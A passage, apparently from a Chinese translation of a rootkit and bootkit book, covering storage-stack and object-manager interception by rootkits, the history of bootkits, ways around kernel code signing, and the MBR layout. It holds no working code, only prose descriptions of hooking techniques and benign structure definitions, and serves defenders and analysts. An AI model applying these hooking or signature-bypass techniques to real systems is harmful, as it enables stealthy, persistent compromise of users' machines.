在存储设备驱动程序层,我们可以看到 SCSI 适配器和磁盘设备对象。这些设备对象由三个不同的驱动程序创建和管理:PCI 总线驱动程序,它 枚举(发现)可用的 PCI 总线上的存储适配器;SCSI 端口/迷你端口驱动程序,它初始化并控制枚举的 SCSI 存储适配器;以及磁盘类驱动程序,它控制附加到 SCSI 存储适配器的磁盘设备。

image

图 3-1:存储设备驱动程序堆栈示例

在存储卷驱动程序层,我们可以看到分区 0 和分区 1,这些也是由磁盘类驱动程序创建的。分区 0 表示整个原始磁盘,并且始终存在,无论磁盘是否已分区。分区 1 表示磁盘设备上的第一个分区。我们的示例只有一个分区,因此只显示了分区 0 和分区 1。

分区 1 必须向用户公开,以便他们能够存储和访问存储在磁盘设备上的文件。为了公开分区 1,文件系统驱动程序在存储堆栈的文件系统驱动程序层顶部创建了一个 VDO。请注意,可能还会有可选的存储过滤设备对象附加在 VDO 顶部或设备堆栈中的设备对象之间,为了简化图示我们省略了这些内容。我们还可以在图的右上角看到一个文件系统 CDO,操作系统用来控制文件系统驱动程序。

该图演示了存储驱动程序堆栈的复杂性如何为 rootkit 提供拦截文件系统操作并修改或隐藏数据的机会。

拦截文件操作

对于 rootkit 来说,拦截文件操作在最上层(即文件系统驱动程序层)比在更低层更容易。这样,rootkit 可以在应用程序程序员的层面上看到所有这些操作,而不需要去查找和解析对程序员不可见的文件系统结构,这些结构对应着传递给下层驱动程序的输入/输出请求包(IRPs)

如果 rootkit 改为在较低层拦截操作,它必须重新实现部分 Windows 文件系统,这是一个复杂且容易出错的任务。然而,这并不意味着没有低级驱动程序拦截:磁盘的扇区映射仍然相对容易获取,即使在迷你端口驱动程序层拦截或转发扇区操作也是可行的,正如 TDL3 所展示的那样。

无论 rootkit 在哪个层次拦截存储 I/O,都有三种主要的拦截方法:

  1. 将过滤驱动程序附加到目标设备的驱动程序堆栈上

  2. 替换驱动程序描述符结构中指向 IRP 或 FastIO 处理函数的指针

  3. 替换这些 IRP 或 FastIO 驱动程序函数的代码。

FASTIO

为了执行输入/输出操作,IRP 会遍历整个存储设备堆栈,从最上层的设备对象一直到最底层。FastIO 是一种可选的方法,旨在对缓存文件执行快速同步的输入/输出操作。在 FastIO 操作中,数据直接在用户模式缓冲区和系统缓存之间传输,绕过文件系统和存储驱动程序堆栈。这使得对缓存文件的 I/O 操作变得更快。

在第二章中,我们讨论了 Festi rootkit,它使用了拦截方法 1:Festi 在文件系统驱动程序层的存储驱动程序堆栈顶部附加了一个恶意的过滤设备对象。

本书后续将讨论 TDL4(第七章)、Olmasco(第十章)和 Rovnix(第十一章)引导病毒,它们都采用方法 2:在最低层次,即存储设备驱动程序层,拦截磁盘输入/输出操作。我们在第十二章将讨论的 Gapz 引导病毒则使用方法 3,也是存储设备驱动程序层。你可以参考这些章节,了解每种方法的实现细节。

这简要回顾了 Windows 文件系统,显示出由于该系统的复杂性,rootkit 在这堆驱动程序中有着丰富的目标选择。rootkit 可能会在任何一层拦截控制,甚至可能在多层同时拦截。反 rootkit 程序需要处理所有这些可能性——例如,通过安排自己的拦截或检查已注册的回调是否看起来合法。显然,这是一个困难的任务,但防御者至少需要理解各个驱动程序的调度链。

拦截对象调度器

本章将讨论的第三类拦截目标是 Windows 对象调度器方法。对象调度器是管理操作系统资源的子系统,所有这些资源都表示为内核对象,属于 Windows NT 架构分支,这一架构是所有现代 Windows 版本的基础。对象调度器的实现细节及相关数据结构在不同版本的 Windows 中可能有所不同。本节内容主要适用于 Windows 7 之前的版本,但其通用方法也适用于其他版本。

Rootkit 控制对象调度器的一种方式是拦截构成调度器的 Windows 内核中的Ob*函数。然而,Rootkit 很少这样做,因为与它们很少攻击顶级系统调用表条目一样,这样的钩子太明显,容易被检测到。实际上,Rootkit 通常使用更复杂的技巧来针对内核,我们将在后文中描述。

每个内核对象本质上是一个内核模式的内存结构,可以大致分为两部分:一个包含调度元数据的头部和对象体,后者根据创建和使用该对象的子系统的需求进行填充。头部的布局为OBJECT_HEADER结构,其中包含指向对象类型描述符OBJECT_TYPE的指针。后者也是一个结构,它是对象的主要属性。正如现代类型系统所要求的,表示类型的结构本身也是一个对象,其主体包含适当的类型信息。该设计通过头部存储的元数据实现了对象继承。

对于典型的程序员来说,这些类型系统的复杂性并不重要。大多数对象通过系统服务进行处理,系统服务通过其描述符(HANDLE)引用每个对象,同时隐藏对象调度和管理的内部逻辑。

也就是说,对 Rootkit 来说,某些对象类型描述符OBJECT_TYPE中的字段非常重要,例如指向处理某些事件(例如打开、关闭和删除对象)的例程的指针。通过挂钩这些例程,Rootkit 可以拦截控制并操控或修改对象数据。

但是,系统中所有类型都可以在调度器命名空间中列举为ObjectTypes目录中的对象。Rootkit 可以通过两种方式针对这些信息以实现拦截:通过直接替换指向处理函数的指针,使其指向 Rootkit 本身,或者通过替换对象头部中的类型指针。

由于 Windows 调试器使用并信任这些元数据来检查内核对象,利用这些相同的系统元数据的 Rootkit 拦截非常难以检测。

准确检测劫持现有对象类型元数据的 Rootkit 更加困难。由此产生的拦截更具颗粒性,因此更加微妙。图 3-2 展示了这种 Rootkit 拦截的示例。

image

图 3-2:通过 ObjectType 操控钩住 OpenProcedure 处理程序

在图 3-2 的顶部,我们可以看到对象在被 rootkit 拦截之前的状态:对象的头部和类型描述符是原始的,没有被修改。图的底部显示了对象在 rootkit 修改了其类型描述符后的状态。rootkit 获取一个指向表示存储设备的对象的指针,例如 \Device\Harddisk0\DR0。然后,它为该设备创建自己版本的 OBJECT_TYPE 结构 ➋。在副本中,它更改了指向相关处理程序的函数指针(在我们的示例中,是 OpenProcedure 处理程序),将其指向 rootkit 自己的处理程序函数 ➌。接着,指向这个“恶意副本”结构的指针替换了原始设备描述符中的类型指针 ➊。现在,被感染的磁盘行为,如其元数据所描述的,几乎与未受损的磁盘对象行为完全相同——除了已经被替换的处理程序,只对这个对象实例有效。

请注意,描述所有其他同类磁盘对象的合法结构依然是原始的。修改后的元数据仅存在于一个副本中,且只有被目标对象指向。要找到并识别这种不一致,检测算法必须列举所有磁盘对象实例的类型字段。系统地发现这些不一致是一个艰巨的任务,需要充分理解对象子系统抽象是如何实现的。

恢复系统内核

防御机制可能会试图全局性地中和 rootkit——换句话说,自动通过一种算法恢复被破坏系统的完整性,该算法会检查各种内部调度表和元数据结构的内容,以及这些结构指向的函数。采用这种方法,你会从恢复或验证系统服务描述符表(SSDT)开始——这个表包含了内核若干标准系统调用函数的起始代码——然后继续检查并恢复所有怀疑已被修改的内核数据结构。然而,正如你现在肯定能理解的那样,这种恢复策略充满了许多危险,并且根本无法保证有效。

查找或计算“干净”的系统调用函数指针及其下层回调所需的正确值,以恢复正确的系统调用调度,绝非易事。定位干净的系统文件副本也同样困难,这些副本可以用来恢复被修改的内核代码片段。

即使我们假设这些任务是可能的,并非我们发现的每个内核修改都是恶意的。许多独立的合法程序——例如前面讨论的反 rootkit 检查工具,以及更传统的防火墙、杀毒软件和 HIPS——会安装自己的良性挂钩来拦截内核控制流。可能很难分辨杀毒软件的挂钩和 rootkit 的挂钩;实际上,它们的控制流修改方法可能彼此难以区分。这意味着合法的反恶意软件程序可能被误认为是它们所防御的威胁并被禁用。数字版权管理(DRM)软件代理也是如此,它们与 rootkit 难以区分,甚至索尼 2005 年的 DRM 代理因此被称为“索尼 rootkit”。

另一个检测和消除 rootkit 的挑战是确保恢复算法的安全性。由于内核数据结构在不断使用,任何对它们的不同步写入——例如,当正在修改的数据结构在被正确重写之前就被读取——都可能导致内核崩溃。

此外,rootkit 可能随时尝试恢复其挂钩,增加更多潜在的不稳定性。

综合考虑,将内核完整性的恢复自动化作为应对已知威胁的反应措施,比作为获取内核可信信息的一般解决方案更有效。

仅仅检测和恢复内核函数的调度链一次是不够的。rootkit 可能会继续检查内核代码及其依赖的数据的任何修改,并尝试不断恢复它们。事实上,一些 rootkit 还监控其文件和注册表项,并在被防御软件删除时恢复它们。防御者被迫进行类似 1984 年经典编程游戏核心战争的现代版,程序争夺计算机内存的控制权。

借用另一个经典的电影战争游戏中的一句话,“唯一的取胜之道是不参与。”意识到这一点,操作系统行业开发了从启动时就开始的操作系统完整性解决方案,以预防 rootkit 攻击者。因此,防御者不再需要管理各种指针表和诱人的操作系统代码片段,如处理程序函数的前言。

忠于防御-进攻共演的本质,它们的努力促使攻击者研究劫持启动过程的方法。他们发明了bootkit,这是我们接下来章节的主要内容。

如果你的 Windows 黑客之旅是在 Windows XP SP1 之后开始的,你可能希望跳到下一章,而我们则会沉迷于无意义的操作系统调试怀旧。不过,如果你对老前辈的故事有些兴趣,继续阅读吧。

伟大的 Rootkit 军备竞赛:一段怀旧的回忆

2000 年代初期是 rootkit 的黄金时代:防御软件显然在军备竞赛中落后,能够应对新 rootkit 中发现的技巧,但无法防止它们。这是因为,在那个时期,唯一可供 rootkit 分析员使用的工具就是操作系统单一实例上的内核调试器。

尽管功能有限,这款名为 NuMega SoftIce 的内核调试器却拥有冻结操作系统并可靠地检查其状态的能力,甚至是当前工具也知道这是一项具有挑战性的任务。在 Windows XP Service Pack 2 之前,SoftIce 是内核调试器的黄金标准。一个快捷键组合允许分析员完全冻结内核,进入本地调试控制台(如图 3-3 所示),并在完全冻结的操作系统内存中搜索 rootkit 的存在——这种视图是内核 rootkit 无法更改的。

由于认识到 SoftIce 带来的威胁,rootkit 作者迅速开发出检测其在系统上存在的方法,但这些技巧并未能长时间阻止分析员。通过 SoftIce 控制台,防御者掌握了攻击者无法破坏的信任根,扭转了局面。许多从 SoftIce 调试功能开始职业生涯的分析员对失去冻结整个操作系统状态并进入一个展示整个内存状态真实情况的调试控制台的能力深感惋惜。

一旦检测到 rootkit,分析员可以结合静态和动态分析方法定位 rootkit 代码中的相关位置,消除 rootkit 对 SoftIce 的检查,然后逐步查看 rootkit 代码,了解其操作细节。

image

图 3-3:SoftIce 本地调试控制台

可惜,SoftIce 已经消失;微软收购了其生产商,部分目的是加强微软自家的内核调试器 WinDbg。如今,WinDbg 仍然是分析运行中 Windows 内核异常的最强大工具。它甚至可以远程进行分析,除了在恶意干扰调试器本身时。然而,SoftIce 的操作系统独立监视控制台功能已经不复存在。

控制台的丧失并不一定有利于攻击者。尽管 rootkit 理论上可以干扰防御软件,也可以干扰远程调试器,但这种干扰通常会显得足够显眼,从而触发检测。对于隐蔽性强、针对性攻击的 rootkit 来说,过于显眼的表现往往导致任务失败。确实,某些高级恶意软件中发现了检测远程调试器的功能,但这些检查过于明显,分析员可以轻松绕过。

攻击者的优势真正开始消退,直到微软通过特定的防御措施提高了 rootkit 开发的复杂性,这些内容将在本书后续章节讨论。如今,HIPS 采用端点检测与响应(EDR)方法,重点是尽可能多地收集有关系统的信息,将这些信息上传到中央服务器,然后应用异常检测算法,包括那些旨在捕捉不太可能由系统已知用户发起的操作,从而表明系统可能已被攻破。这种收集并利用信息来检测潜在 rootkit 的需求,显示了在单一操作系统内核映像中分辨良性与恶性之间的困难。

结论

军备竞赛仍在继续,双方不断共演进与发展,但现在已转向了启动过程的新领域。接下来的章节将介绍那些旨在保障操作系统内核完整性并切断攻击者对其众多目标访问的新技术,以及攻击者对这些技术的反应,这些反应破坏了新强化启动过程的早期阶段,并暴露了其设计的内部惯例和弱点。

第二部分

启动工具包

第四章:引导程序的演变**

Image

本章将向你介绍引导程序,这是一种在操作系统完全加载之前,感染系统启动过程早期阶段的恶意程序。随着 PC 引导过程的变化,引导程序的使用有所减少,但它们已经令人印象深刻地卷土重来。现代引导程序使用早期引导程序的隐蔽性和持久性技巧的变种,以尽可能长时间地在目标系统中保持活动状态,而不被系统用户察觉。

本章将带你了解最早的引导程序;追踪引导程序的流行变化,包括近年来它们的壮丽回归;并讨论现代引导感染恶意软件。

第一个引导程序

引导程序感染的历史可以追溯到 IBM PC 上市之前。“第一个引导程序”这个称号通常被授予 Creeper,它是一个自我复制的程序,约在 1971 年被发现。Creeper 在 VAX PDP-10 上的 TENEX 网络操作系统下运行。第一个已知的杀毒软件是名为 Reaper 的程序,用于清除 Creeper 的感染。在本节中,我们将从 Creeper 开始,回顾引导程序的早期示例。

引导扇区感染者

引导扇区感染者(BSI)是最早的引导程序之一。它们首次出现在 MS-DOS 时代,这是 Windows 之前的非图形操作系统,当时 PC BIOS 的默认行为是尝试从软驱中找到任何磁盘并启动其中的代码。正如其名称所示,这些恶意程序感染了软盘的引导扇区;引导扇区位于磁盘的第一个物理扇区。

在启动时,BIOS 会查找驱动器 A 中的可启动软盘,并运行它在引导扇区中找到的代码。如果感染的软盘留在驱动器中,即使该磁盘不可启动,它也会用 BSI 感染系统。

尽管一些 BSI 感染了软盘和操作系统文件,但大多数 BSI 是纯粹的,意味着它们是硬件特定的,没有操作系统组件。纯粹的 BSI 仅依赖 BIOS 提供的中断来与硬件通信并感染磁盘驱动器。这意味着感染的软盘会尝试感染 IBM 兼容的 PC,无论运行的是什么操作系统。

Elk Cloner 和 Load Runner

BSI 病毒软件最早的目标是 Apple II 微型计算机,它的操作系统通常完全包含在软盘中。首个感染 Apple II 的病毒归功于 Rich Skrenta,他的 Elk Cloner 病毒(1982-1983)^(1)采用了 BSI 使用的感染方法,尽管它比 PC 引导扇区病毒早了好几年。

Elk Cloner 本质上是将自身注入到加载的 Apple OS 中,以便进行修改。病毒随后驻留在 RAM 中,并通过拦截磁盘访问并用其代码覆盖系统引导扇区来感染其他软盘。在每次第 50 次启动时,它会显示以下消息(有时被慷慨地描述为一首诗):

Elk Cloner:

The program with a personality

    It will get on all your disks

      It will infiltrate your chips

        Yes it's Cloner!

    It will stick to you like glue

      It will modify ram too

        Send in the Cloner!

下一个已知的影响 Apple II 的恶意软件是 Load Runner,首次出现在 1989 年。Load Runner 会拦截由键盘组合 CONTROL-COMMAND-RESET 触发的 Apple 重置命令,并以此为信号将自身写入当前软盘,从而使其在重置后依然存在。这是恶意软件持久性的最早方法之一,并预示着更复杂的保持隐匿的攻击方式的到来。

大脑病毒

1986 年,首个 PC 病毒——Brain 出现。Brain 的原始版本仅影响 360KB 的软盘。作为一种相当庞大的 BSI,Brain 将其加载程序感染了软盘的第一个引导扇区。病毒将其主体和原始引导扇区存储在软盘的可用扇区中。Brain 将这些扇区(即包含原始引导代码和主体的扇区)标记为“坏”扇区,以防操作系统覆盖这些空间。

Brain 的一些方法如今也被现代引导木马所采用。首先,Brain 将其代码存储在隐藏区域,这也是现代引导木马的常见做法。其次,它将感染的扇区标记为坏扇区,以保护代码不被操作系统的常规清理覆盖。第三,它使用了隐身技术:如果病毒在感染的扇区被访问时仍然处于活动状态,它会钩住磁盘中断处理程序,确保系统显示合法的引导代码扇区。我们将在接下来的几章中更详细地探讨这些引导木马特性。

引导木马的演变

本节中,我们将探讨随着操作系统的发展,BSI 的使用如何逐渐减少。然后我们将研究微软的内核模式代码签名策略如何使得以前的方法失效,迫使攻击者创造新的感染方法,以及一种名为安全启动的安全标准如何为现代引导木马带来新的障碍。

BSI 时代的结束

随着操作系统变得更加复杂,纯粹的 BSI(引导程序接口)开始面临一些挑战。操作系统的新版本取代了用于与具有操作系统特定驱动程序的磁盘进行通信的 BIOS 提供的中断。因此,一旦操作系统启动,BSI 便无法再访问 BIOS 中断,从而无法感染系统中的其他磁盘。在这种系统上尝试执行 BIOS 中断可能会导致不可预测的行为。

随着更多系统实现了可以从硬盘而非磁盘启动的 BIOS,感染的软盘变得不那么有效,BSI 感染的传播速度开始下降。微软 Windows 的推出和软盘使用的急剧下降为传统 BSI 的终结敲响了丧钟。

内核模式代码签名策略

随着微软在 Windows Vista 及以后的 64 位版本 Windows 中引入内核模式代码签名策略,引导病毒技术也必须进行重大修订,这一策略通过引入对内核模式驱动程序的新要求,使攻击者的局面发生了逆转。从 Vista 开始,每个系统都需要有效的数字签名才能执行;没有签名的恶意内核模式驱动程序根本无法加载。攻击者发现自己无法在操作系统完全加载后将代码注入内核,因此不得不寻找绕过现代计算机系统完整性检查的方法。

我们可以将所有已知的绕过微软数字签名检查的技巧分为四组,如图 4-1 所示。

image

图 4-1:绕过内核模式代码签名策略的技术

第一组完全在用户模式下运行,并依赖内建的微软 Windows 方法,合法地禁用签名策略,以便调试和测试驱动程序。操作系统提供了一个接口,用于通过使用自定义证书验证驱动程序的数字签名,暂时禁用驱动程序映像认证或启用测试签名。

第二组试图利用系统内核或合法的第三方驱动程序中的漏洞,这些驱动程序具有有效的数字签名,从而使恶意软件能够渗透到内核模式中。

第三组的目标是操作系统引导加载程序,目的是修改操作系统内核并禁用内核模式代码签名策略。较新的引导病毒采用了这种方法。它们在任何操作系统组件加载之前执行,因此可以篡改操作系统内核以禁用安全检查。我们将在下一章详细讨论这一方法。

第四组的目标是攻破系统固件。与第三组类似,它的目标是在操作系统内核启动之前在目标系统上执行,以禁用安全检查。唯一的主要区别是这些攻击针对的是固件而非引导加载程序组件。

在实际应用中,第三种方法——破坏引导过程——是最常见的,因为它能够实现更持久的攻击。因此,攻击者又回到了他们的旧 BSI 技巧,创造了现代的引导病毒。绕过现代计算机系统中的完整性检查的需求,极大地影响了引导病毒的发展。

安全引导的兴起

如今,计算机越来越多地配备功能完善的安全引导保护。安全引导是一种安全标准,旨在确保引导过程中涉及的组件的完整性。我们将在第十七章中详细了解它。面对安全引导,恶意软件的态势不得不再次改变;它们不再针对引导过程,而是更多地尝试攻击系统固件。

就像微软的内核模式代码签名策略消除了内核模式根套件并开启了引导病毒的新时代一样,安全启动(Secure Boot)目前正在对现代引导病毒构成障碍。我们看到现代恶意软件更频繁地攻击 BIOS。我们将在第十五章讨论这一类型的威胁。

现代引导病毒

对于引导病毒,像计算机安全领域的其他领域一样,概念验证(PoC)和实际恶意软件样本通常是共同演化的。在这种情况下,PoC 是安全研究人员为证明威胁确实存在而开发的恶意软件(与网络犯罪分子开发的恶意软件不同,后者的目标是非法的)。

第一个现代引导病毒通常被认为是 eEye 的 PoC BootRoot,它在 2005 年 Las Vegas 的 Black Hat 大会上展示。BootRoot 的代码是由 Derek Soeder 和 Ryan Permeh 编写的,属于网络驱动接口规范(NDIS)后门。它首次展示了原始引导病毒概念可以作为攻击现代操作系统的模型。

尽管 eEye 的演讲是引导病毒恶意软件发展的一个重要步骤,但过了两年,才在野外检测到一个具有引导病毒功能的新恶意样本。这一荣誉属于 Mebroot,它出现在 2007 年。Mebroot 当时是最复杂的威胁之一,它使用了新的隐蔽技术,在重启后仍能生存下来,对杀毒公司构成了严重挑战。

Mebroot 的检测恰逢两种重要 PoC 引导病毒——Vbootkit 和 Stoned——在同一年 Black Hat 大会上发布。Vbootkit 的代码展示了通过修改引导扇区来攻击微软的 Windows Vista 内核是可能的。(Vbootkit 的作者将其代码作为开源项目发布。)Stoned 引导病毒也是攻击 Vista 内核的,它的名字来源于数十年前非常成功的 Stoned BSI。

两个 PoC 的发布对于向安全行业展示需要注意的引导病毒(bootkit)类型起到了重要作用。如果研究人员犹豫不决,没有发布他们的结果,恶意软件作者将有可能成功地预先阻止系统检测到新的引导病毒恶意软件。另一方面,正如常常发生的那样,恶意软件作者会重复利用安全研究人员展示的 PoC 中的方法,并且在 PoC 展示后不久就会出现新的实际恶意软件。图 4-2 和 表 4-1 展示了这种共同进化的过程。

image

图 4-2:引导病毒复兴时间线

表 4-1:PoC 引导病毒与实际引导病毒威胁的演化

PoC 引导病毒演化 引导病毒威胁演化
eEye BootRoot (2005) 第一个^(1) 基于 MBR 的引导病毒,针对 Microsoft Windows 操作系统 Mebroot (2007) 第一个广为人知的现代基于 MBR 的引导病毒(我们将在第七章详细讨论基于 MBR 的引导病毒)
Vbootkit (2007) 第一个滥用 Microsoft Windows Vista 的引导病毒 Mebratix (2008) 另一种基于 MBR 感染的恶意软件家族
Vbootkit 2 x64 (2009) 第一个绕过 Microsoft Windows 7 数字签名检查的引导病毒 Mebroot v2 (2009) Mebroot 恶意软件的进化版本
Stoned (2009) 另一个基于 MBR 的引导病毒感染示例 Olmarik (TDL4) (2010/11) 第一个 64 位引导病毒
Stoned x64 (2011) 支持 64 位操作系统感染的基于 MBR 的引导病毒 Olmasco (TDL4 修改版) (2011) 第一个基于 VBR 的引导病毒感染
Evil Core ^(3) (2011) 使用 SMP(对称多处理)引导到受保护模式的概念引导病毒 Rovnix (2011) 一种进化版基于 VBR 的感染,具有变形代码
DeepBoot ^(4) (2011) 使用有趣技巧从实模式切换到受保护模式的引导病毒 Mebromi (2011) 第一次在野外出现的 BIOS 引导病毒概念探索
VGA ^(5) (2012) 基于 VGA 的引导病毒概念 Gapz ^(6) (2012) VBR 感染的下一个进化
DreamBoot ^(7) (2013) 第一个公开的 UEFI 引导病毒概念 OldBoot ^(8) (2014) 第一个针对 Android 操作系统的引导病毒
  1. 当我们提到某个引导病毒是“第一个”时,请注意,我们指的是“在我们所知的范围内第一个”。

  2. Nitin Kumar 和 Vitin Kumar, “VBootkit 2.0—通过引导扇区攻击 Windows 7,” HiTB 2009, conference.hitb.org/hitbsecconf2009dubai/materials/D2T2%20-%20Vipin%20and%20Nitin%20Kumar%20-%20vbootkit%202.0.pdf

  3. Wolfgang Ettlinger 和 Stefan Viehböck, “Evil Core 引导病毒,” NinjaCon 2011, http://downloads.ninjacon.net/downloads/proceedings/2011/Ettlinger_Viehboeck-Evil_Core_Bootkit.pdf

  4. Nicolás A. Economou 和 Andrés Lopez Luksenberg, “DeepBoot,” Ekoparty 2011, www.ekoparty.org//archive/2011/ekoparty2011_Economou-Luksenberg_Deep_Boot.pdf

  5. Diego Juarez 和 Nicolás A. Economou,“VGA 持久根病毒”,Ekoparty 2012, https://www.secureauth.com/labs/publications/vga-persistent-rootkit/

  6. Eugene Rodionov 和 Aleksandr Matrosov,"Mind the Gapz: The Most Complex Bootkit Ever Analyzed?" 2013 年春, www.welivesecurity.com/wp-content/uploads/2013/05/gapz-bootkit-whitepaper.pdf

  7. Sébastien Kaczmarek,"UEFI 和 Dreamboot",HiTB 2013, conference.hitb.org/hitbsecconf2013ams/materials/D2T1%20-%20Sebastien%20Kaczmarek%20-%20Dreamboot%20UEFI%20Bootkit.pdf

  8. Zihang Xiao, Qing Dong, Hao Zhang 和 Xuxian Jiang,"Oldboot: The First Bootkit on Android", blogs.360.cn/360mobile/2014/01/17/oldboot-the-first-bootkit-on-android/

我们将在后续章节中详细讲解这些引导木马使用的技术。

结论

本章讨论了引导木马的历史和演变,帮助你对引导木马技术有了一个大致的了解。在第五章,我们将深入探讨内核模式代码签名策略,并探索通过引导木马感染绕过这一技术的方法,重点讲解 TDSS 根木马。TDSS(也称为 TDL3)和 TDL4 引导木马的演变清晰地展示了从内核模式根木马到引导木马的转变,作为恶意软件在受感染系统中长时间未被察觉地持续存在的一种方式。

第五章:操作系统引导过程要点

图片

本章将介绍 Microsoft Windows 引导过程中的一些与引导木马(bootkit)相关的最重要的方面。由于引导木马的目标是在目标系统的低级别隐藏,它需要篡改操作系统的引导组件。因此,在我们深入了解引导木马的构建和行为之前,你需要了解引导过程是如何工作的。

注意

本章中的信息适用于 Microsoft Windows Vista 及其后续版本;早期版本的 Windows 引导过程有所不同,具体内容请参见bootmgr 模块和引导配置数据在 第 64 页中的内容。

引导过程是操作系统运行中最重要但却最难理解的阶段之一。尽管这个概念在普遍情况下大家都很熟悉,但很少有程序员——包括系统程序员——能深入理解它,而且大多数人缺乏相关工具。正因如此,引导过程成为攻击者利用反向工程和实验所得知识的温床,而程序员通常不得不依赖那些不完整或过时的文档。

从安全角度来看,引导过程负责启动系统并将其引导到一个可信的状态。防御代码用来检查系统状态的逻辑设施也在这一过程中创建,因此攻击者越早能够攻破系统,就越容易躲避防御者的检查。

本章中,我们回顾了在运行传统固件的 Windows 系统中的引导过程基础。运行 UEFI 固件的机器,其引导过程与基于传统固件的机器有显著不同,后者自 Windows 7 x64 SP1 起引入,因此我们将在 第十四章中单独讨论该过程。

在本章中,我们从攻击者的角度出发,探讨引导过程。尽管攻击者可以针对特定的芯片组或外设发起攻击——事实上,确实有些攻击者这么做——但这种类型的攻击通常不具备良好的扩展性,且很难可靠地开发。因此,攻击者最好选择那些相对通用,但又不至于通用到防御程序员能够轻松理解和分析的接口。

一如既往,进攻性研究不断推动技术的边界,随着技术的进步,更多系统内部的细节被公开并透明化。本章的结构也凸显了这一点:我们将从一般概述开始,但逐步深入到未文档化(在本文写作时)的数据结构和逻辑流程,这些内容只能通过反汇编系统获得——这正是引导木马研究人员和恶意软件创作者所走的路线。**

Windows 引导过程的高级概述

图 5-1 显示了现代启动过程的一般流程。几乎任何启动过程的部分都可以被启动工具包攻击,但最常见的目标是基本输入/输出系统(BIOS)初始化、主引导记录(MBR)和操作系统引导加载程序。

image

图 5-1:系统启动过程的流程图

注意

安全启动技术,我们将在第十七章中讨论,旨在保护现代启动过程,包括其复杂且多功能的 UEFI 部分。

随着启动过程的推进,执行环境变得更加复杂,防御者可以获得更丰富且更熟悉的编程模型。然而,正是低级代码创建并支持这些抽象模型,因此,通过攻击这些低级代码,攻击者可以操纵这些模型,拦截启动过程的流程并干扰更高级别的系统状态。通过这种方式,更多的抽象和强大的模型可能会被削弱,这正是启动工具包的目的所在。

传统启动过程

要理解一项技术,回顾其早期版本是有帮助的。这里是启动过程的基本概述,它通常在启动扇区病毒的鼎盛时期(1980 年代至 2000 年代)执行,如 Brain(在第四章中讨论):

  1. 开机(冷启动)

  2. 电源自检

  3. ROM BIOS 执行

  4. ROM BIOS 硬件测试

  5. 视频测试

  6. 内存测试

  7. 开机自检(POST),进行全面硬件检查(当启动过程为热启动软启动时,即从非完全关机状态启动,此步骤可跳过)

  8. 在默认启动驱动器的第一个扇区测试 MBR,如 BIOS 设置中所指定

  9. MBR 执行

  10. 操作系统文件初始化

  11. 基础设备驱动程序初始化

  12. 设备状态检查

  13. 配置文件读取

  14. 命令行 shell 加载

  15. shell 启动命令文件执行

请注意,早期的启动过程通过测试和初始化硬件开始。尽管许多硬件和固件技术自 Brain 及其直接继任者以来已有所发展,但这一点仍然适用。本文书后续描述的启动过程在术语和复杂性上有所不同,但总体原理相似。

Windows 启动过程

图 5-2 显示了 Windows 启动过程和涉及的组件的高级视图,适用于 Windows Vista 及更高版本。图中的每个模块代表在启动过程中执行并获得控制的模块,按从上到下的顺序排列。如你所见,它与传统启动过程的迭代非常相似。然而,随着现代 Windows 操作系统组件的复杂性增加,启动过程涉及的模块也相应增多。

image

图 5-2:Windows 启动过程的高级视图

在接下来的几节中,我们将引用此图,详细讲解启动过程。如图 5-2 所示,当计算机首次开机时,BIOS 引导代码获取控制权。这是软件所见的启动过程的开始;硬件/固件层也涉及其他逻辑(例如,在芯片组初始化期间),但在启动过程中软件是不可见的。

BIOS 和预引导环境

BIOS 执行基本的系统初始化和自检(POST),以确保关键系统硬件正常工作。BIOS 还提供了一个专门的环境,其中包含与系统设备通信所需的基本服务。这个简化的 I/O 接口首先在预引导环境中可用,稍后被不同的操作系统抽象所替代,供大多数 Windows 用户使用。在启动木马分析中,最有趣的服务是 磁盘服务,它暴露了用于执行磁盘 I/O 操作的多个入口点。磁盘服务可以通过一个特殊的处理程序访问,这个处理程序被称为 中断 13h 处理程序,简称 INT 13h。启动木马通常会通过篡改 INT 13h 来攻击磁盘服务;它们这样做是为了通过修改系统启动时从硬盘读取的操作系统和引导组件来禁用或规避操作系统的保护。

接下来,BIOS 查找可引导的磁盘驱动器,该驱动器托管要加载的操作系统实例。它可能是硬盘、USB 驱动器或 CD 驱动器。一旦识别出可引导设备,BIOS 引导代码加载 MBR,如图 5-2 所示。

主引导记录(MBR)

MBR 是一种数据结构,包含硬盘分区信息和引导代码。它的主要任务是确定可引导硬盘的活动分区,该分区包含要加载的操作系统实例。一旦识别出活动分区,MBR 将读取并执行其引导代码。列表 5-1 展示了 MBR 的结构。

typedef struct _MASTER_BOOT_RECORD{

➊ BYTE bootCode[0x1BE];  // space to hold actual boot code

➋ MBR_PARTITION_TABLE_ENTRY partitionTable[4];

  USHORT mbrSignature;  // set to 0xAA55 to indicate PC MBR format

} MASTER_BOOT_RECORD, *PMASTER_BOOT_RECORD;

列表 5-1:MBR 的结构

如你所见,MBR 引导代码 ➊ 仅限于 446 字节(在十六进制中为 0x1BE,这是反向工程引导代码人员熟悉的值),因此它只能实现基本功能。接下来,MBR 解析分区表,图示在 ➋,以定位活动分区;读取该分区的第一个扇区中的卷引导记录(VBR);并将控制权转交给它。

分区表

MBR 中的分区表是一个包含四个元素的数组,每个元素都由 MBR_PARTITION_TABLE_ENTRY 结构描述,如列表 5-2 所示。

typedef struct _MBR_PARTITION_TABLE_ENTRY {

➊ BYTE status;            // active?  0=no, 128=yes

   BYTE chsFirst[3];       // starting sector number

➋ BYTE type;              // OS type indicator code

   BYTE chsLast[3];        // ending sector number

➌ DWORD lbaStart;         // first sector relative to start of disk

   DWORD size;             // number of sectors in partition

} MBR_PARTITION_TABLE_ENTRY, *PMBR_PARTITION_TABLE_ENTRY;

列表 5-2:分区表条目的结构

MBR_PARTITION_TABLE_ENTRY 的第一个字节 ➊,即 status 字段,表示分区是否为活动分区。任何时候只能有一个分区被标记为活动分区,其状态由值 128(十六进制为 0x80)表示。

type 字段 ➋ 列出了分区类型。最常见的类型有:

  • 扩展 MBR 分区类型

  • FAT12 文件系统

  • FAT16 文件系统

  • FAT32 文件系统

  • IFS(用于安装过程的可安装文件系统)

  • LDM(Microsoft Windows NT 的逻辑磁盘管理器)

  • NTFS(主要的 Windows 文件系统)

类型为 0 表示 未使用。字段 lbaStartsize ➌ 定义了分区在磁盘上的位置,单位为扇区。lbaStart 字段包含分区相对于硬盘起始位置的偏移量,size 字段包含分区的大小。

Microsoft Windows 驱动器布局

图 5-3 显示了一个典型的 Microsoft Windows 系统的可启动硬盘布局,包含两个分区。

